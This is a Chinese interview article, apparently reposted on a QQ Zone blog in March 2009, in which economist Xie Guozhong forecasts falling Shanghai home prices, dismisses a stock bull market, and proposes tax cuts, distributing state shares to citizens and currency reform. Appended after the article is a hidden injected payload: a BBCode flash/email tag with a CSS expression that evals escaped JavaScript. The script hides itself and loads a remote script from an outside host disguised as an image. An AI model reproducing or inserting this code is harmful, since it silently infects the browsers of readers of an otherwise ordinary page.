“上海现在大概有1年的住房销售存量，完全供大于求，房价怎么不跌？市中心也一样。我有朋友住华府天地，空置率六成，小区会所都没人。”谢国忠说，浦东世贸滨江，最高时卖6万元/平方米，现在只要3万，但还是贵。“一套房子600万元，租金每天2元/平方米，200平方米的房子，年租金收益不过14万元多，多少年收回成本？”租金是否涨？谢国忠一摆手，很肯定“不会”。

“老外现在都撤回国了。经济不好，削减成本。韩元贬值厉害，韩国人走了很多；日本公司的家属都回国。你去新天地看看，现在晚上人少了好多。”谢国忠说，相较重庆、深圳等地，上海的情况还不算最糟。

3月，上海楼市成交量大增，有“小阳春”之势，楼市回暖说渐起。但谢国忠不以为然，“不过是前一段挤压的刚性需求爆发，之后成交量马上会萎缩。”他判断楼价会一波一波下降，伴随下降，也会阶段性呈现交易量增长。“但房价会一波波往下走，熬不过的。”谢国忠强调。

房价何时见底？谢国忠回答：“起码五六年。”他说，普通楼市泡沫挤压到回暖都要五六年时间，更何况“中国楼市有大泡沫”？上海前一次楼市低迷也持续了5年。

“买房要买‘三好房’”

要不要出手买房？何时出手？谢国忠说，“你得自己判断。”

“自己最喜欢的房子并且是价格最低，做到两全其美比较难。”他建议购房者花至少6个月来看房，比较之后再做决定，“把你要买这个房子的理由一条条写下来，充分了就买。”

“买房要买‘三好房’，地段好、质量好、价格好。”谢国忠的标准很明确。

地段好，就是要靠轨道。“上海未来会不断扩张，现在将近2000万人，以后3000万至4000万，你得用发展眼光看地段，但轨道是关键，不可能只靠私家车解决出行。”

质量好，就是得房率高，开发商可靠。“面积你得自己量。”谢国忠建议远离有政府背景的开发商，容易有猫腻。

价钱好，这条看个人。“想要最低点买到房子跟股市抄底一样不现实。需要你自己理性思考承受能力。”他说。

股市：

现在出现牛市概率为零

唱空楼市，接下去轮到股市。到3月24日，沪深股市已7连阳，沪指重返2300点，一派牛市在眼前的吉兆。谢国忠呵呵笑了两声，说道：“怎么可能？现在出现牛市的概率为零。”整个经济情况不利的因素下，谈论牛市就是个笑话。

2008年1月，谢国忠称A股2500点是合理点数。“现在2500点以下，但经济形势完全不同。我说2500点合理的时候，沪指6000点。现在2000多点还是虚高。”谢国忠分析，无论是市盈率或市净率，目前的A股都远远高于全球水平。

谢国忠说，“美国股市1929年大崩盘，花了20年恢复；韩国股市现在的点位比20年前还低，日本也是。但他们的GDP早不是20年前的水平了。”

“现在炒股，亏钱活该”

“现在政府在撑，有人在炒，很多人又痴了，幻想牛市就要来了。”谢国忠重重地吐出几个字，“跌不透。”他描述“永远跌不透”：大跌之后，人们走了，可有人拿锣鼓敲了几下，大家就回来了；再跌，又走了，偏偏还有人拿着杯子敲了几下，人们又糊里糊涂转身了……“手痒，心痒，有点闲钱就按捺不住。”对于纷纷跟进的小散们，谢国忠有点痛心疾首，恨铁不成钢，“现在炒股，亏钱活该。”

谢国忠的犀利很刺耳，股民不爱听。他苦笑，“中国医生对绝症患者采取不说的态度。不告诉他，他就能活得长，一旦告诉他就会死得更快。”

他说：“要向犹太人学，学理性。”不理性，就甭想挣钱。谢国忠举了大家最熟悉的股神巴菲特为例，“巴菲特4000万美金在手里，可以等几年，有耐心，非常理性。”手痒心痒怎么挣钱？“你炒股还不如买房呢！”谢国忠最后说。

消费：

拉动内需不是信心问题

炒股、买房，似乎都不是可靠的投资方式。那中国百姓的钱该做点什么投资呢？最新地方债发行启动，提供了一个新途径。新疆和安徽首先获批发行30亿和40亿地方债。其利率通过市场化招标确定，注定利率和风险成正比。“地方债发行不解决根本问题。”谢国忠断言。他说1万亿的预算内财政收入下降，更多预算外下降，根本不是30亿或40亿地方债能填补的。更重要的是，“发债你得看地方的未来，不是谁穷谁发债。”买不买？谢国忠甩手，“你得看清楚风险，自己判断该地区今后发展。”

“中国储蓄率不高”

老百姓的钱似乎只有走储蓄存款这条路了。对一直以来颇受争议的中国高储蓄率，是否雪上加霜？谢国忠摇头，“中国30%的储蓄率并不高。”对于中国的储蓄率，各方统计数据大不相同，国泰君安数据最高，称2007年达到51%，IMF最低，称2005年为24.3%。谢国忠的数据比较中庸。

“日本1970年代时，储蓄率就跟中国现在差不多，也有30%。”谢国忠觉得中国百姓需要这样的储蓄率，“我们不可能实现欧美那样的医疗保障制度，美国的医疗保障体系现在也出问题，无法负担了，中国人还是需要为看病等做好准备。”谢国忠坦承。

在他看来，将国人不消费归结为储蓄率高属无稽之谈。“拉动消费、拉动内需不是信心问题，”谢国忠说，“关键还是钱和财富问题。”在他看来，只有藏富于民，才能真正拉动消费。“中国劳动力收入占GDP比重很小，大约在12%，而且还要有下降趋势。欧美高达40%-50%。提高收入比重，老百姓才有钱消费。发消费券之类，这点点钱完全不能解决问题。发100元券，觉得能提高信心，拉动1000元消费，事实上拉动效果甚微，就因为这不是信心问题。”

谢国忠依旧坚持那个被多位经济学家讥笑义气多过专业的建议——全民分股，将国有企业股票分给老百姓。“百姓分红，有钱了，就去消费；回头推动生产，企业效益提高，分红更多；良性循环。”谢国忠不觉得有问题。

危机：

只有从根本上变革制度才能渡过

全民分股是谢国忠开给中国走出危机的药方之一。对于市场经济规律性的低潮，谢国忠认为中国没时间等市场自己康复。“政府不干预，不救市，也能走出危机，但时间会非常长，可能20年，但中国等不起这20年。”谢国忠面色凝重。

中国目前一个工作的人大概养0.6个不工作的，当1个人养1个或者更多时，高速发展成奢望。“中国还有20年的时间窗口，20年后不会有现在的高增长。”谢国忠说，韩国人均GDP走到2万美元到顶了，日本4万美元就到头了，中国目前3000美元，还有很大空间，可以走到多高亦未可知。唯一确定的是，时间不等人。

“拆东墙补西墙没用”

“只有从根本上变革制度才能渡过危机。”谢国忠很坚决。他说，1998年房改和加入WTO都是根本性的制度变革。

首先要解决汇率问题。“汇率要浮动，货币自由兑换。”谢国忠对大量外储并不担心，也不赞成张维迎“分外储”的观点。胡锦涛主席即将参加4月1日伦敦召开的G20峰会，很多人担心中国会继续增持美国国债。而美联储大量购买国债房债，加剧美元贬值，让中国更被动。“中国因为顺差巨大，所以有外储，汇率得跟美元挂钩。”谢国忠觉得持美国国债也是不得已。

他建议，“已有的保值，未来不再增加。”已有的外储，不妨撤离债市，转投基金，依旧是美元资产。“购买标普500指数基金(ETF)。事实证明指数基金走得比大部分基金好，选不好股票，不如买指数基金，对冲美元贬值。”至于什么点位何时进场，谢国忠说需要决策者好好考虑。未来不增加外汇储备，就得增加内需，消除贸易顺差。“没了顺差，汇率就能与美元脱钩。”

拉动内需，谢国忠的建议是“减税”和“全民分股”。“我国企业增值税最高达到17%，国外在11%-12%，降低企业税，相当于增加员工收入。”对于全民分股，不但经济学家觉得悬，老百姓也觉得悬。谢国忠却说，“因为老百姓觉得那是政府的企业。事实上，国企就是全民的企业，全民持股有何不可？官员们最终会意识到这点。”谢国忠认为现在很多官员做的还是维持工作，“拆东墙补西墙，没用。必须跳出盒子想问题。”

谢国忠的最后一招是城市化。“搞超大型城市。全国建30个超大城市，让农民进城，房子降价，让他们能有地方住。一旦大量人口定居，现代服务经济就会形成，不用政府现在考虑好给他们什么工作，市场经济会自动找到位置。”谢国忠回到制度，“好的制度形成，每个人都会有最大的发展空间。”[flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash] ]]> http://648253094.qzone.qq.com/blog/1238511603#comment 134218240 Tue, 31 Mar 2009 15:00:03 GMT http://648253094.qzone.qq.com/blog/1238511603